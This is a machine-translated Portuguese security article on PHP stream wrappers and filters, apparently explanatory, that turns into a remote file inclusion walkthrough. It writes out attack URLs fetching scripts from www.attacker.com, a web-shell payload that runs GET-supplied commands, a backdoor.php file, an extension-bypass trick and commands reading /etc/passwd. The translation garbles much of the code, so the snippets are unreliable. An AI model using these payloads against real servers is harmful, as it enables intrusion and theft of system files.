O recurso poderoso dos wrappers de fluxo PHP

Introduzido no PHP 4.3, os fluxos são recursos poderosos pouco conhecidos que o PHP fornece.

Neste artigo, exploraremos maneiras de ignorar os métodos de proteção usando o PHP Stream Wrappers, responsáveis ​​por lidar com tarefas relacionadas ao protocolo, como baixar dados de um servidor Web ou FTP e expô-los de uma maneira que possa ser tratada com o fluxo do PHP. funções relacionadas. Primeiro, vamos definir as palavras-chave, como ‘stream’ e ‘wrappers’.

## O que é um fluxo em TI?

Em termos técnicos, um ‘fluxo’ é o nome dado à transmissão de dados da origem para o destino. A origem e o destino podem ter várias formas: um arquivo, uma conexão de rede TCP / IP ou UDP, uma entrada e saída padrão, uma transferência de arquivos em um servidor de arquivos ou um processo de arquivamento de arquivos. Embora esses fluxos pareçam ser muito diferentes um do outro, eles têm um encadeamento comum: todos são basicamente processos de leitura e gravação. Você grava dados de uma fonte em um destino ou transmite os dados que lê da fonte para o destino. Pode ser algo como isto:

1. Conexão estabelecida
2. Dados lidos
3. Dados escritos
4. Conexão encerrada

Embora as ações básicas sejam de leitura e gravação, são necessárias ações adicionais para alcançar um servidor da Web ou arquivar um arquivo, executar um processo simples de entrada e saída ou estabelecer uma conexão via TCP / IP ou UDP.

## Funções genéricas em operações de streaming

O PHP possui algumas funções genéricas que permitem interagir com fluxos:

* arquivo
* aberto
* escrever
* fclose
* file_get_contents
* file_put_contents

No PHP, você usa funções genéricas para executar as várias operações de streaming sem a necessidade de usar funções individuais, facilitando todo o processo.

Até hoje, essas funções faziam parte do conceito de fluxo e eram usadas nos processos de leitura e gravação de arquivos. Agora podemos usar wrappers no PHP para executar vários processos de streaming, como HTTP, FTP, processos SOCKET e processos padrão de entrada / saída.

Se você quiser trabalhar com fluxos, precisará especificar seu tipo e destino em um formato específico. O tipo de fluxo que usaremos em nossas funções genéricas é definido assim:

<wrapper>: // <destino>

O espaço reservado <wrapper> especifica o tipo de fluxo que usaremos, por exemplo, Arquivo, FTP, PHPOUTPUT, PHPINPUT, HTTP ou SSL.

Se você é um programador PHP, o código a seguir será familiar. Ele lê o arquivo some.txt e imprime seu conteúdo.

<? php $ handle = fopen (“some.txt”, “rb”); while (feof ($ handle)! == true) {echo fgets ($ handle);}

No código, estamos chamando a função de fluxo genérico _fopen_ usando o wrapper do sistema _file: // _. Tecnicamente, o código acima faz exatamente a mesma coisa que o código abaixo:

<? php $ handle = fopen (“file: //some.txt”, “rb”); while (feof ($ handle)! == true) {echo fgets ($ handle);}

Como o wrapper padrão nas funções de streaming é _file: // _, você não precisa especificar se deseja usá-lo.

Se você deseja saber quais wrappers você tem permissão para usar, use o código abaixo para listá-los.

<? php print_r (stream_get_wrappers ());

### O conceito de fluxo de contexto

O uso padrão das funções de fluxo pode ser suficiente para a maioria dos casos de uso. No entanto, há circunstâncias em que você precisa mais do que o padrão.

<? phpfile_get_contents (“http://www.example.com/news.php”);

Vamos supor que as notícias em _http: //www.example.com/news.php_ possam ser facilmente lidas usando o comando _file_get_contents_. Mas e se este site exigir alguma forma de autenticação para acessar seu conteúdo? Nesses casos, você pode usar a especificação de contexto do fluxo que ajuda a personalizar o comportamento do fluxo usando parâmetros opcionais.

Aqui está um exemplo de código de contexto de fluxo:

<? php $ postdata = ‘{“nome de usuário”: “ziyahan”}’ $ opts = array (‘http’ => array (‘método’ => ‘POST’, ‘header’ => ‘Tipo de conteúdo: aplicativo / json; charset = utf-8; \ r \ n ‘.’ Comprimento do conteúdo: ‘.mb_strlen ($ postdata),’ content ‘=> $ postdata); $ context = stream_context_create ($ opts); $ response = file_get_contents (‘http://www.example.com/news.php’, false, $ context);

Como visto acima, o Stream-Context é na verdade uma matriz. O valor da chave acima indica o tipo de invólucro (neste caso, HTTP) que será usado no contexto. Cada wrapper possui parâmetros de contexto individuais. Você pode ler mais sobre eles na [documentação do PHP] (http://php.net/manual/en/wrappers.php).

## Filtros de fluxo PHP

Examinamos os processos de leitura e gravação dos fluxos. A principal vantagem dos wrappers de fluxo é que os dados podem ser modificados, alterados ou excluídos durante o processo de leitura / gravação em tempo real.

O PHP fornece alguns filtros de streaming. São eles: _string.toupper_, _string.tolower_, _string.rot13_ e _string.strip_tags_. Além disso, vários filtros personalizados podem ser usados.

Podemos aplicar filtros em fluxos usando a função _stream_append_filter_. Por exemplo, o filtro abaixo converterá todas as frases lidas para maiúsculas:

<? php $ handle = fopen (‘arquivo: //data.txt”’rb’); stream_filter_append ($ handle, ‘string.toupper’); while (feof ($ handle)! == true) {echo fgets ($ handle); } fclose ($ handle);

As informações lidas em _data.txt_ serão exibidas na tela em maiúsculas.

Você também pode usar o wrapper _php: // filter_ para adicionar filtros aos fluxos:

<? php $ handle = fopen (‘php: //filter/read=string.toupper/resource=data.txt’,’rb’); while (feof ($ handle)! == true) {echo fgets ($ handle); } fclose ($ handle);

Este método será chamado no momento em que o streaming iniciar. Comparado ao primeiro exemplo, esse método é muito mais feio para funções que não permitem anexos de filtro posteriormente, como _file () _ e _fpassthru () _.

Você pode usar os filtros para codificação (rot13, base64) ou compactar e extrair arquivos.

Além do PHP e dos invólucros predefinidos, você pode usar invólucros de terceiros, como Amazon S3 ou Dropbox, e escrever invólucros personalizados para operações específicas.

Os exemplos que fornecemos até aqui estavam na categoria [Inclusão de arquivo local (LFI)] (https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/), que incluía os arquivos de o sistema de destino no código para extrair os dados do sistema.

## Usando wrappers PHP em um ataque de inclusão remota de arquivos

Além do LFI, é possível injetar código no aplicativo Web remotamente. Isso é chamado [Inclusão de arquivo remoto (RFI)] (https://www.netsparker.com/blog/web-security/remote-file-inclusion-vulnerability/). Você pode obter controle sobre o servidor executando comandos e aumentando os recursos do ataque.

Aqui está um exemplo de trecho de código:

<? php include ($ _ GET [“go”]. “. php”);

Usando esse código simples, porém poderoso, você pode navegar em sites com links como _www.example.com/?go=contact_ e _www.example.com/?go=products_.

No entanto, este código tem uma falha fundamental. Vamos supor que exista um arquivo chamado malscript.txt em algum servidor distante e o arquivo contenha o seguinte código:

<? php phpinfo ();

Este é o URL do arquivo que contém o código que você vê acima: _ ** http: //www.attacker.com/malscript.txt**_

O invasor chamaria o seguinte URL para carregar esse script malicioso.

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt<?php include (“http://www.attacker.com/malscript.txt.php”);

A extensão .php adicionada pelo desenvolvedor aparece neste exemplo como uma barreira. Nos ataques RFI, contornar isso é bastante fácil.

Este é o URL que o invasor forneceria: _http: //www.attacker.com/malscript.txt? Q = _. E aqui está o URL completo que o invasor precisa visitar para executar o ataque:

www.example.com/?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D<?php include (“http://www.attacker.com/malscript.txt?q= .php “);

A barreira .php foi ignorada usando os caracteres “_? Q = _” no URL do ataque. Isso foi apenas um exemplo. Em muitos casos, você pode apenas hospedar o arquivo com a extensão apropriada. No entanto, esse truque também é bastante útil para ataques de falsificação de solicitações no servidor.

Após esse processo, informações confidenciais do servidor ficarão visíveis devido à função _phpinfo () _ no arquivo .txt. O arquivo .txt foi injetado na função PHP a partir do servidor remoto, e o código no arquivo de texto foi executado como parte do código do site.

Esse foi um exemplo bastante inofensivo, considerando o fato de que podemos executar qualquer comando PHP dessa maneira. O código em _malscript.txt_ pode ser modificado para causar mais danos, em vez de ler a leitura de algumas informações do servidor, como:

<? php system (“uname -a”)

Como você vê, podemos executar comandos do sistema com uma RFI, que é a pior possível. Esse código permitiria ao invasor executar qualquer comando que desejasse, fornecendo-o como parâmetro GET:

sistema? php ($ _ GET [“cmd”]);

Mais uma vez, temos o mesmo URL de script que em nossos exemplos anteriores: _www.attacker.com/malscript.txt? Q = _. Mas, desta vez, podemos fornecer um comando do sistema como um parâmetro GET adicional com o nome CMD:

www.example.com/?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=

Nesse ponto, todos os tipos de comandos podem ser executados pelo servidor por solicitação do invasor.

Se a barreira da extensão .php não puder ser substituída usando Query String, você poderá fazer uso da extensão. Você precisa criar um arquivo PHP para esse fim e incluir o código abaixo antes de enviá-lo ao seu servidor.

Este é o conteúdo do arquivo backdoor.php:

<? php echo ‘<? sistema php ($ _ GET [“cmd”]);?>’;

Portanto, o novo link que o invasor precisa fornecer é: _www.attacker.com/backdoor_. E este é o link que o invasor precisa visitar para executar o ataque:

http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor

O PHP avaliará esse código da seguinte maneira:

<? php include (“http://www.attacker.com/backdoor.php”);

### Ignorando listas negras com wrappers de fluxo

E se o desenvolvedor começasse a tomar precauções e filtrasse algumas entradas?